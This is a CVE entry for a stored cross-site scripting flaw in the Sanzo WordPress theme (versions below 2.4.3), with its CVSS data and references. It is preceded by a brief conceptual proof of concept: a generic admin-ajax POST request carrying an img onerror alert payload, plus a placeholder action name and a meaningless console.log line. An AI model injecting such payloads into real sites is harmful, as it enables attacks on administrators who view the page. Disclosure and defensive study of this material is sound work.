CVE-2026-25355

// Conceptual PoC for Stored XSS in Sanzo Theme // Attacker injects payload via a vulnerable input field (e.g., comment or profile) // Example HTTP Request: /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=vulnerable_action&user_input=<img src=x onerror=alert('CVE-2026-25355')> */ // Trigger: // When an admin visits the page reflecting the input, the alert executes. console.log('Payload stored successfully');

{"cve": {"id": "CVE-2026-25355", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:46.463", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup Sanzo sanzo allows Stored XSS.This issue affects Sanzo: from n/a through < 2.4.3."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('Cross-site Scripting') en skygroup Sanzo sanzo permite XSS Almacenado. Este problema afecta a Sanzo: desde n/d hasta &lt; 2.4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/sanzo/vulnerability/wordpress-sanzo-theme-2-4-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}